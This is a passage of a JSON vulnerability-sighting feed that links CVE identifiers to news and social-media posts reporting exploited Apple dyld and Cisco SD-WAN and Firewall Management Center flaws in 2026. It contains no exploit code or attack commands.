\u0437\u0430\u043a\u0440\u044b\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e\u0433\u043e \u041f\u041e.\n\n11 \u0444\u0435\u0432\u0440\u0430\u043b\u044f 2026 \u0433\u043e\u0434\u0430 Apple \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 iOS 26.3. \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u0435\u0442 39 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043e\u0434\u043d\u0430 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445. \u0416\u0435\u0440\u0442\u0432\u0435 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0430\u0436\u0438\u043c\u0430\u0442\u044c: \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0432\u0435\u0431-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c.\n\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0434\u043b\u044f iPhone 11 \u0438 \u043d\u043e\u0432\u0435\u0435, \u0430 \u0442\u0430\u043a\u0436\u0435 iPad Pro (\u0441 3-\u0433\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u044f), iPad Air (\u0441 3-\u0433\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u044f), \u043e\u0431\u044b\u0447\u043d\u044b\u0445 iPad (\u0441 8-\u0433\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u044f) \u0438 iPad mini (\u0441 5-\u0433\u043e \u043f\u043e\u043a\u043e\u043b\u0435\u043d\u0438\u044f).\n\n\u041a\u043b\u044e\u0447\u0435\u0432\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 CVE-2026-20700, \u043e\u0448\u0438\u0431\u043a\u0430 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 dyld (Dynamic Link Editor). \u042d\u0442\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043a\u0430\u0436\u0434\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043d\u0430 iPhone: \u043f\u043e\u0434\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u0440\u0430\u0432\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0438\u0437\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u0434\u0440\u0443\u0433 \u043e\u0442 \u0434\u0440\u0443\u0433\u0430.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434, \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0447\u0442\u043e \u0443\u0433\u043e\u0434\u043d\u043e \u0432 \u043e\u0431\u0445\u043e\u0434 \u0432\u0441\u0435\u0445 \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 iOS.\n\nApple \u043f\u0440\u044f\u043c\u043e \u0437\u0430\u044f\u0432\u0438\u043b\u0430: \u00ab\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0433\u043b\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u043a\u0440\u0430\u0439\u043d\u0435 \u0438\u0437\u043e\u0449\u0440\u0451\u043d\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0435 \u043f\u0440\u043e\u0442\u0438\u0432 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0445 \u043b\u044e\u0434\u0435\u0439\u00bb \u043d\u0430 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 iOS \u0434\u043e 26-\u0439.\n\nP/S \u0410\u0432\u0442\u043e\u0440\u0443 \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u0438\u044f\u0442\u043d\u043e \u0435\u0441\u043b\u0438 \u0432\u044b \u043d\u0430\u043a\u0438\u0434\u0430\u0435\u0442\u0435  \ud83d\udd25\n\nHacker's TOYS", "creation_timestamp": "2026-02-17T08:29:11.000000Z"}, {"uuid": "1706d5a9-ccf5-4195-941b-4617570b8636", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "exploited", "source": "https://t.me/thehackernews/8398", "content": "\ud83d\udea8 Apple shipped emergency updates after confirming exploitation of a zero-day in dyld.\n\nThe bug (CVE-2026-20700) could allow attackers to execute arbitrary code on vulnerable Apple devices.\n\n\ud83d\udd17 Read: https://thehackernews.com/2026/02/apple-fixes-exploited-zero-day.html\n\nFixes extend across iOS, macOS, visionOS, and legacy platforms.", "creation_timestamp": "2026-02-12T05:52:17.000000Z"}, {"uuid": "92935ce4-c6dc-45cf-af9a-ae3415d237aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "published-proof-of-concept", "source": "https://t.me/xakep_ru/18934", "content": "Apple \u043f\u0430\u0442\u0447\u0438\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0443\u044e \u0432 \u00ab\u0447\u0440\u0435\u0437\u0432\u044b\u0447\u0430\u0439\u043d\u043e \u0441\u043b\u043e\u0436\u043d\u044b\u0445\u00bb \u0430\u0442\u0430\u043a\u0430\u0445\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Apple \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f iOS, iPadOS, macOS Tahoe, tvOS, watchOS \u0438 visionOS. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 dyld, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Google Threat Analysis Group.\n\nhttps://xakep.ru/2026/02/13/cve-2026-20700/", "creation_timestamp": "2026-02-13T16:44:50.000000Z"}, {"uuid": "72dbc48d-046f-4e7c-9734-ed427206ed3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "exploited", "source": "https://t.me/cKure/16043", "content": "\u25a0\u25a0\u25a1\u25a1\u25a1 \u26a0\ufe0f Cisco confirms active exploitation of two Catalyst SD-WAN Manager flaws.\n\n\u25b6 CVE-2026-20122 enables arbitrary file overwrite via API credentials.\n\u25b6CVE-2026-20128 can expose data and grant DCA privileges after login.\n https://thehackernews.com/2026/03/cisco-confirms-active-exploitation-of.html", "creation_timestamp": "2026-03-05T20:45:14.000000Z"}, {"uuid": "d84a2349-c19b-4104-9030-41601346e375", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "exploited", "source": "https://t.me/cKure/16043", "content": "\u25a0\u25a0\u25a1\u25a1\u25a1 \u26a0\ufe0f Cisco confirms active exploitation of two Catalyst SD-WAN Manager flaws.\n\n\u25b6 CVE-2026-20122 enables arbitrary file overwrite via API credentials.\n\u25b6CVE-2026-20128 can expose data and grant DCA privileges after login.\n https://thehackernews.com/2026/03/cisco-confirms-active-exploitation-of.html", "creation_timestamp": "2026-03-05T20:45:14.000000Z"}, {"uuid": "d5fcf717-3825-48ee-8874-c7e5e8b4dfd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "exploited", "source": "https://t.me/thehackernews/8491", "content": "\ud83d\udea8 Cisco is warning of active exploitation of a CVSS 10.0 flaw in Catalyst SD-WAN controllers.\n\nCVE-2026-20127 lets unauthenticated attackers bypass auth and gain admin access. Exploitation tied to UAT-8616 dates back to 2023, including rogue peers in the control plane and root escalation.\n\n\ud83d\udd17 Read \u2192 https://thehackernews.com/2026/02/cisco-sd-wan-zero-day-cve-2026-20127.html", "creation_timestamp": "2026-02-26T06:18:14.000000Z"}, {"uuid": "3d6f1214-5691-4ae3-a69d-e2ec6bf29a9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20766", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkjhj3uj3v2s", "content": "", "creation_timestamp": "2026-04-28T01:44:11.755580Z"}, {"uuid": "0b2f8246-4aa5-43e9-84ed-f1ae2dd363df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20971", "type": "published-proof-of-concept", "source": "Telegram/X3Rb1NfEVIkmN-yk6xT3mpYeMmm_DatvbYZBzx9fLFzw_Rg", "content": "", "creation_timestamp": "2026-01-09T08:03:23.000000Z"}, {"uuid": "8927ca65-f1e1-437b-a042-2b9c5349d6d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20968", "type": "seen", "source": "Telegram/baYAHbqMqSalDW7Jh5vLcnZYQr2csVL8CwQNknT-bM3nPo8", "content": "", "creation_timestamp": "2026-01-09T08:03:00.000000Z"}, {"uuid": "606c54b4-9f46-44f5-8587-bc4f3ae05ff7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20968", "type": "published-proof-of-concept", "source": "Telegram/X3Rb1NfEVIkmN-yk6xT3mpYeMmm_DatvbYZBzx9fLFzw_Rg", "content": "", "creation_timestamp": "2026-01-09T08:03:23.000000Z"}, {"uuid": "e5e37bbe-e8d7-4059-b26e-958b5eceb55d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20970", "type": "published-proof-of-concept", "source": "Telegram/X3Rb1NfEVIkmN-yk6xT3mpYeMmm_DatvbYZBzx9fLFzw_Rg", "content": "", "creation_timestamp": "2026-01-09T08:03:23.000000Z"}, {"uuid": "efe2ea8f-b454-4e05-a297-52df0d9f62f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "seen", "source": "https://bsky.app/profile/etguenni.bsky.social/post/3mke4hcxlrk2r", "content": "", "creation_timestamp": "2026-04-25T22:42:59.364613Z"}, {"uuid": "9a18f140-03ac-43cb-9a4f-24a1485c4ad9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "seen", "source": "https://social.tchncs.de/users/gborn/statuses/116467761739088336", "content": "", "creation_timestamp": "2026-04-25T22:43:29.775400Z"}, {"uuid": "7f10881e-01d3-4578-a9aa-db35ddae41c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mkevo53epc2s", "content": "", "creation_timestamp": "2026-04-26T06:14:16.729594Z"}, {"uuid": "c7053533-c75c-4a95-92ee-7263675c6f71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mkevo53epc2s", "content": "", "creation_timestamp": "2026-04-26T06:14:16.878002Z"}, {"uuid": "e68d4fd3-7e36-4df4-a6fd-0780139a986c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20133", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mkevo53epc2s", "content": "", "creation_timestamp": "2026-04-26T06:14:17.002474Z"}, {"uuid": "11bbdb3b-0bea-4cb6-9ee0-6867c4699028", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20133", "type": "seen", "source": "https://bsky.app/profile/LLMs.activitypub.awakari.com.ap.brid.gy/post/3mkg4vqnxjob2", "content": "", "creation_timestamp": "2026-04-26T17:56:29.915137Z"}, {"uuid": "e046c42f-6581-461c-9409-044f216a118a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "seen", "source": "https://bsky.app/profile/winfuture.de/post/3mkfrqdecp62h", "content": "", "creation_timestamp": "2026-04-26T14:36:32.522553Z"}, {"uuid": "9c52c358-5765-4254-b457-aa2d94dd4851", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20148", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116483286321859891", "content": "", "creation_timestamp": "2026-04-28T16:31:39.014909Z"}, {"uuid": "66fa4c42-d0dc-41a0-ad77-43d2fd90e8a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20652", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mkguhjp3r22a", "content": "", "creation_timestamp": "2026-04-27T00:57:59.195762Z"}, {"uuid": "dc2b93ce-c3fb-46e8-8da4-5ca9fe891a7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20031", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mkla5fvqvs2g", "content": "", "creation_timestamp": "2026-04-28T18:37:45.962954Z"}, {"uuid": "18aa4cfb-7040-465e-94e6-b7cdcffe6279", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20031", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3mkla5huyds2g", "content": "", "creation_timestamp": "2026-04-28T18:37:46.461648Z"}, {"uuid": "a0d07177-e86f-4cc4-b7d3-307eda34b799", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20930", "type": "published-proof-of-concept", "source": "Telegram/JejNkT2rPfMxFhs9bG5RX2L5bio9DctDq1jpYevpjmDohxE", "content": "", "creation_timestamp": "2026-04-14T20:03:36.000000Z"}, {"uuid": "a526adbe-22fd-4847-9d19-e2589073c8fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20930", "type": "seen", "source": "Telegram/Gu-L21VC1AYTVfSxkUZQBnHa6-hDvHlOBMOA-nTIkLDakSo", "content": "", "creation_timestamp": "2026-04-14T20:04:01.000000Z"}, {"uuid": "31ebd191-a939-4e8d-bddf-ec93be59d803", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20180", "type": "published-proof-of-concept", "source": "Telegram/WjJ45N4C40Iwx09iYqsDqY5X5Bd3Mo2xGpTAiDCZSkIserM", "content": "", "creation_timestamp": "2026-04-21T19:00:11.000000Z"}, {"uuid": "db9a03b7-65de-47b3-aa58-6657281a5ce9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20637", "type": "published-proof-of-concept", "source": "Telegram/vKt1e4azT5T7C0rLcqmSzR1-eYk4psQyeIQOy05R--Qw2SA", "content": "", "creation_timestamp": "2026-04-22T21:00:04.000000Z"}, {"uuid": "5c5993b2-6c94-435f-9cfd-d03d12dd5b9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20687", "type": "published-proof-of-concept", "source": "Telegram/vKt1e4azT5T7C0rLcqmSzR1-eYk4psQyeIQOy05R--Qw2SA", "content": "", "creation_timestamp": "2026-04-22T21:00:04.000000Z"}, {"uuid": "7ef1f267-d950-47b3-a941-eba78bbe8b7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20637", "type": "published-proof-of-concept", "source": "Telegram/dzDW2h-886XV-6aRi3WJqtQJrVieQigoxoc1-2T9QA1v8VU", "content": "", "creation_timestamp": "2026-04-23T03:00:06.000000Z"}, {"uuid": "44138d2d-4ead-4cbd-b794-1c3af5371929", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20204", "type": "published-proof-of-concept", "source": "Telegram/pEQZ-8eBs6x0m1Bix4bkgGlpKgKFYdZvEwxqbKXARXHeBmM", "content": "", "creation_timestamp": "2026-04-15T17:20:59.000000Z"}, {"uuid": "9d2eb187-bbec-4576-a85d-336501aabbab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20147", "type": "seen", "source": "Telegram/7Ck-SXA1c6V_f9FqVW81avKVix-fYO39OzelndhESQPxXBQ", "content": "", "creation_timestamp": "2026-04-15T19:21:23.000000Z"}, {"uuid": "c4a247eb-dcec-4f0c-a656-82df830475e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20704", "type": "seen", "source": "https://jvn.jp/en/jp/JVN94012927", "content": "", "creation_timestamp": "2026-05-11T22:15:50.000000Z"}, {"uuid": "894de28a-a04b-4866-bd33-aaba5d53b634", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mrt57ndpwr2f", "content": "CVE-2026-20316: Cisco's FMC Flaw Exposes Networks to Unauthorized Access #CVE202620316 #Cisco #CyberSecurity", "creation_timestamp": "2026-07-30T00:02:56.147743Z"}, {"uuid": "c743e56b-16ae-4dbb-b05c-bc26db23d000", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mrtx2lfhbo2i", "content": "CISA added Cisco FMC CVE-2026-20316 to its KEV catalog after zero-day exploitation reports. Static credentials in a low-privilege account may expose sensitive data and could chain with CVE-2026-20079 for privilege escalation. #Cisco #CISAKev #ZeroDay", "creation_timestamp": "2026-07-30T07:45:23.399301Z"}, {"uuid": "fa841fd4-ad8d-465f-83b7-8ffecfb32455", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mrtx2lfhbo2i", "content": "CISA added Cisco FMC CVE-2026-20316 to its KEV catalog after zero-day exploitation reports. Static credentials in a low-privilege account may expose sensitive data and could chain with CVE-2026-20079 for privilege escalation. #Cisco #CISAKev #ZeroDay", "creation_timestamp": "2026-07-30T07:45:23.444180Z"}, {"uuid": "6bf80873-ba94-44dc-a63a-a6ebc449b15a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mruf4qer6m2t", "content": "CISA\u3001Cisco Secure Firewall Management\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u6e08\u307f\u8106\u5f31\u6027\u30ea\u30b9\u30c8\u306b\u8ffd\u52a0\n\n\u7c73\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81(CISA)\u306f\u3001Cisco Secure Firewall Management Center(FMC)\u306b\u5b58\u5728\u3059\u308b\u91cd\u5927\u306a\u8106\u5f31\u6027(CVE-2026-20316)\u306b\u3064\u3044\u3066\u3001\u5b9f\u969b\u306e\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u305f\u3068\u3057\u3066\u3001\u65e2\u77e5\u306e\u60aa\u7528\u6e08\u307f\u8106\u5f31\u6027(KEV)\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u307e\u3057\u305f\u3002Cybersecur...", "creation_timestamp": "2026-07-30T11:57:07.405348Z"}, {"uuid": "b835dd85-1276-4d99-b4b5-0578666e055c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://t.me/sysadm_in_up/2529", "content": "https://github.com/oxfemale/CVE-2026-20817", "creation_timestamp": "2026-07-30T00:03:00.179096Z"}, {"uuid": "af2b8dbe-5134-460b-ace3-576d41ae7f7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mrtyq526dh2p", "content": "Cisco patched CVE-2026-20316, an actively exploited zero-day in Secure Firewall Management Center. The flaw uses static credentials to access sensitive data and may be chained for higher privileges. #Cisco #CISA #ZeroDay", "creation_timestamp": "2026-07-30T08:15:19.720569Z"}, {"uuid": "9d455687-d672-4a00-9325-529e73ec61e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://t.me/information_security_channel/55644", "content": "Cisco Secure FMC Zero-Day Exploited in the Wild\nhttps://www.securityweek.com/cisco-secure-fmc-zero-day-exploited-in-the-wild/\n\nThe vulnerability tracked as CVE-2026-20316 can be exploited by a remote, unauthenticated attacker to log into affected devices.\u00a0\nThe post Cisco Secure FMC Zero-Day Exploited in the Wild (https://www.securityweek.com/cisco-secure-fmc-zero-day-exploited-in-the-wild/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2026-07-30T12:00:03.990021Z"}, {"uuid": "c92561d7-6fdd-4161-8f8f-a2b4069fea48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mru2malr6k2x", "content": "\ud83d\udea8 Cisco has confirmed active exploitation of CVE-2026-20316, a hardcoded credential vulnerability affecting Secure Firewall Management Center.\n\nWe've published a summary and analysis:\nbasefortify.eu/posts/2026/0...\n\n\ud83d\udd10\ud83d\udee1\ufe0f\n\n#CyberSecurity #Cisco #InfoSec #CVE202620316", "creation_timestamp": "2026-07-30T08:49:03.862743Z"}, {"uuid": "dc9002a3-e5c9-49ac-b774-6323c4459b32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mru2mcp3i22x", "content": "\ud83d\udea8 Cisco has confirmed active exploitation of CVE-2026-20316, a hardcoded credential vulnerability affecting Secure Firewall Management Center.\n\nWe've published a summary and analysis:\nbasefortify.eu/posts/2026/0...\n\n\ud83d\udd10\ud83d\udee1\ufe0f\n\n#CyberSecurity #Cisco #InfoSec #CVE202620316", "creation_timestamp": "2026-07-30T08:49:05.137805Z"}, {"uuid": "f1c5d21c-54bb-44e1-af09-4692fdaf713d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mru2mffe7s2x", "content": "\ud83d\udea8 Cisco has confirmed active exploitation of CVE-2026-20316, a hardcoded credential vulnerability affecting Secure Firewall Management Center.\n\nWe've published a summary and analysis:\nbasefortify.eu/posts/2026/0...\n\n\ud83d\udd10\ud83d\udee1\ufe0f\n\n#CyberSecurity #Cisco #InfoSec #CVE202620316", "creation_timestamp": "2026-07-30T08:49:06.381439Z"}, {"uuid": "83e82106-b780-4a18-8d7b-def372721026", 